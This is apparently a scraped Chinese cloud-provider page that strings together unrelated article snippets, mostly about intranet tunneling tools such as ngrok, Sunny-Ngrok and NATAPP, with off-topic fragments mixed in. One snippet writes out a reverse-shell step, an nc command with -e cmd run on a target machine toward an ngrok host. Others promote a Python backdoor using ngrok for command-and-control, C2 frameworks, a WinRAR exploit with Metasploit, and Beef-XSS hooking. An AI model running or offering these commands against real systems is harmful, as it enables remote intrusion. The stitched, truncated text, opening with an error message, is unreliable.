模型出错了，请稍后重试~
之前反复跟大家强调过，想要让自己简历上的项目经历显得更真实，最好是把项目上线并且提供地址给招聘方访问。
最近没什么事情，看了一些关于内网穿透的文章，因我本身已是做微信开发相关的工作，对这部分关注的比较多，现分享给大家。
需要实名人脸验证 收费 官网注册按照使用手册就可以实现内网穿透，认证需要手续费，提供免费隧道但是速度慢 https://www.ngrok.cc/ 支持的协议：tcp、http、https 支持的类型：正向代理、反向代理
这里使用ngrok作为样例来为github webhooks payload url建一个隧道，这样我们的内网github就可以发布到公网上。除了ngrok以外可以选择其他服务。
最近在准备部署个人博客到线上，需要购买一个云服务器，其实选择有挺多，比较热门的例如阿里云，腾讯云，金山云，百度云等，我博客第一版是采用的阿里云，当时因为对windows系统比较熟悉，所以选择了阿里云windows操作系统的云服务器，这次主要是想玩下linux系统，所以这次架构我放弃了更熟悉的windows版本，我选择了腾讯云 CentOS 7.2 64位的云服务器。
这个项目是一个部署好的入门工具包，便于构建和定制你自己的AI Town版本。受到研究论文《生成代理：人类行为的交互模拟》的启发（链接：https://arxiv.org/pdf/2304.03442.pdf）。该项目的主要目标不仅仅是为了开发有趣，更重要的是提供一个具有可扩展性的强大基础平台。后端原生支持共享全局状态、事务和模拟引擎，适用于从简单玩耍的项目到可扩展的多人游戏的各种场景。第二个目标是提供一个JS/TS框架，因为这个领域的大部分模拟器（包括上述的原始论文）都是用Python编写的。
ngrok是一个全球分布的反向代理，无论您在哪里运行，它都能保护、保护和加速您的应用程序和网络服务。您可以将ngrok视为应用程序的前门。
awesome-tunneling 是一个列出 ngrok 替代方案和其他类似 ngrok 的隧道软件和服务的项目，重点是自托管。
Ngrok是内网穿透的工具，简而言之就是将内网IP映射成对外可访问的域名。Ngrok 是一个反向代理，通过在公共的端点和本地运行的 Web 服务器之间建立一个安全的通道。ngrok 可捕获和分析所有通道上的流量，便于后期分析和重放。它是内网穿透的跳板之一。
登录系统，点击“隧道管理”>“开通隧道”，选择任意一个，点击“立即购买”，站长选择屌丝免费版
咱们先去 Sunny-Ngrok 注册一个账号，然后选择隧道管理 ☞ 开通隧道，滑倒最低，选择免费版开通，不满意免费版网速的老铁可以购买付费版。
在渗透过程中，我们需要快速实现内网穿透，从而绕过网络访问限制，直接从外网来访问内网。今天，我们来推荐几款非常好用的内网穿透工具，如有其它推荐，欢迎补充和指正。
原因一：保护个人隐私是是第一出发点；科技进步飞快，网络也渗透入生活中的方方面面，近几年的隐私泄露事故时有发生，我们该如何保护个人隐私？
自今年5月攻击美国输油管道公司Colonial Pipeline之后，DarkSide“一炮而红”。大众的目光纷纷聚集到这个被发现不到1年的新组织。
安装完后，我们需要新建一个账户，因为shellinabox默认不允许直接用root登录，我们可以用adduser添加一个自己喜欢的账号，例：
我们都知道，现在是用内网穿透工具的人是越来越多了，阿粉今天就给大家说说各种不同的内网穿透工具是怎么用的。
Ngrok Ngrok一个反向代理，通过在公共的端点和本地端口建立一个安全的通道，其功能可以反向代理出web服务还有端口转发，这里我们主要演示端口转发的功能 由于ngrok这个工具官网是要访问外国网站的，所以是能使用国内的Sunny-Ngrok 反弹nc shell 首先我们启动ngrok ./sunny clientid 隧道id 本地监听端口： nc -vv -lp 9991 目标机器： nc -vv server.ngrok.cc 33388 -e cm
声明：Tide安全团队原创文章，转载请声明出处！文中所涉及的技术、思路和工具仅供以安全为目的的学习交流使用，任何人不得将其用于非法用途给予盈利等目的，否则后果自行承担！
目前openai已经开放了最新的gpt-3.5-turbo模型，价格打了骨折，效果也有较大的提升，用来接入公众号玩玩也是挺有意思的，虽然本人技术不行，但人菜瘾大，非得尝试尝试。
网上关于node开发公众号的资料相当缺乏，本文旨在以node的视角对公众号开发做一个阐述。
搭建说明：安装xampp后，htdocs目录放入靶机项目，然后开启apache、mysql访问即可
今天跟大家分享一个免费的内网穿透工具ngrok，大家在做开发的时候有时候需要将网站发布到服务器上，从而可以在外网访问到网站内容。
本文将教你如何通过 SSH 隧道把本地服务映射到外网，以方便调试，通常把这种方法叫内网穿透。
相信很多开发者都有这样的需求，需要让外网访问你本地的服务器，方便调试本地代码，或者让别人体验到自己做的应用。那么这时，我们需要做的就是将我们本地的端口映射到一个外网的端口上，也就是内网穿透。
Grok-backdoor是一款支持Ngrok隧道的强大Python后门工具，该工具基于Python开发，使用了Ngrok隧道来实现C&C通信。值得一提的是，当前版本的Grok-backdoor支持使用Pyinstaller生成Windows、Linux和Mac后门源码。
昨天看到Freebuf上有大佬实验演示利用WinRAR前几天暴露出的高危漏洞结合Metasploit和ngrok工具实现内网渗透转发的利用。今天我们来实现复现一波过程。
默认超时时间为 60 秒。根据 Shopify 的经验,5 秒的读取超时时间和 1 秒的写入超时时间是不错的设置。
平常我们访问的网站都是由具有公网ip的服务器提供的，如果想做自己的网站也得要有个自己的服务器（当然也可以使用GitHub这种做静态网站，下次可以说说），其实服务器简单来说也就是一台电脑而已，那可不可以将自己的电脑做服务器呢？答案是可以的，这里推荐一个免费的内网穿透神器 ngrok，关于什么是内网穿透看百科解释：
利用内网穿透, 可以将内网中部署的软件通过外网来访问, 而外网能够访问则需要域名. 只要你拥有域名, 那就成功了一半.
内网穿透 为什么要要内网穿透? 1 我们的内网的数据库,IIS,FTP等等网络服务要为外网的用户使用. 2 开发上的用途 原来我们要调试一个公众号,支付测试,要使用自己搭建的服务器,而且要能被外网所
工作日：年底基本被各种PPT准备、2019年总结、2020年规划、各种公司年底会议所覆盖。
我们通过 NG-ZORRO 来初始化名为 jimmy-demo项目。那么，我们就可以在 package.json 上看到默认的启动和构建命令行：
Beef-XSS框架无疑是当今最强大的浏览器攻击框架，网络上也存在很多关于它的教程，但是大部分都是基于内网环境下的教学，这就使得攻击效果大打折扣，另外大部分XSS教程只是实现一个aler(1)便证明达到了效果，而Beef-XSS要保证完整效果就要加载hook.js文件，在存在一定过滤的情况下，这是有一定难度的。于是便有了今天的文章，希望对大家有所帮助。
如果您有Golang HTTP服务，可能需要重新启动它以升级二进制文件或更改某些配置。如果你（像我一样）因为网络服务器处理它而优雅地重新启动是理所当然的，你可能会发现这个配方非常方便，因为使用Golang你需要自己动手。
MaccaroniC2是一款功能强大的命令控制C2框架，该工具基于纯Python实现，可以帮助广大研究人员在特定场景中实现控制命令的发送和结果的接收。
您已经了解 ngrok 如何为本地主机提供远程连接。现在，了解 ngrok 如何管理生产应用程序的流量。
一般开发完成接口部署后可以在本地使用localhost或者127.0.0.1来访问，在同一个局域网内的机器也可以通过访问局域网IP来实现接口访问，但是外网无法直接访问，我们需要使用腾讯云图来访问局域网内开发的接口，这就需要用到内网穿透工具，内网穿透工具可以让我们的局域网内部署的数据接口实现被外网访问。
Argo隧道提供了一种简便的方法，可将Web服务器安全地公开到Internet，而无需打开防火墙端口和配置ACL。 Argo隧道还可以确保请求在到达网络服务器之前先通过Cloudflare进行路由，因此可以确保通过Cloudflare的WAF和Unmetered DDoS缓解功能停止了攻击流量，并且如果为帐户启用了这些功能，则可以通过Access进行身份验证。
此示例演示了如何使用“If This Then That”（http://ifttt.com）使Cozmo在Gmail帐户收到电子邮件时作出回应。以下说明将引导您在IFTTT网站上设置小程序。当调用applet触发器（发送在此示例中启动的Web服务器收到的Web请求）时，Cozmo将播放动画，说出电子邮件发件人的姓名并在他的脸上显示邮箱图像。
相信大家在渗透测试时如果遇到内网IP瞬间心情就不好了，因为自己是内网，目标也是内网，怎么勾搭上？而且像我这等穷人又没钱买死贵死贵的vps搭建云Kali，怎么办？这时候就要借助内网穿透工具了，网上很多工具都能实现，这里推荐Ngrok。但是我既想通过Ngrok在metaspolit下反弹shell，同时又想把对方的3389端口转发到本地，在meterperter下鱼和熊掌我都要！
简介 由于微信浏览器中获取用户信息的回调地址必须是已经ICP备案的域名。这样就导致无法本地开发比较麻烦，解决方案为内网穿透，如ngrok(二级域名每次启动会变化)、花生壳(需要支付8元)、NATAPP(和ngrok类似，本文使用)。 本程序基于微信开发者工具完成调试 NATAPP使用 注册NATAPP并实名认证 购买隧道 - 免费隧道 - Web（端口80）- 购买之后可在我的隧道中查看 - 复制authtoken 下载NATAPP客户端natapp.exe 在客户端根目录cmd运行natapp -auth
Podtnl(https://github.com/narendranathreddythota/podtnl) 是一个不通过暴露 Kubernetes Service 服务也可以在线访问 Pod 的一个功能强大的 CLI 工具。使用非常简单，特别是在应用开发阶段非常有用，完全不用担心有没有创建 Ingress、LoadBalancer 等资源。
无论是在hvv期间的红队还是蓝队，又或者是在实际情况中，信息搜集是最为重要的。当你获取到足够多的情报那么你的任务就已经完成了一半。而你只需要想：我拿到信息之后能够如何去利用它？如何利用的行云流水这就看你如何运用了。
大家好，这里是 渗透攻击红队 的第 55 篇文章，本公众号会记录一些红队攻击的笔记（由浅到深），不定时更新
内网穿透工具主要用于让外部网络能够访问内部网络中的资源，这在网络调试、远程工作、私有项目展示以及其他诸多场景中具有很大的便利性。以下是几款常用且好用的内网穿透工具的介绍：
领取专属 10元无门槛券
手把手带您无忧上云
云服务器
ICP备案
对象存储
腾讯会议
实时音视频
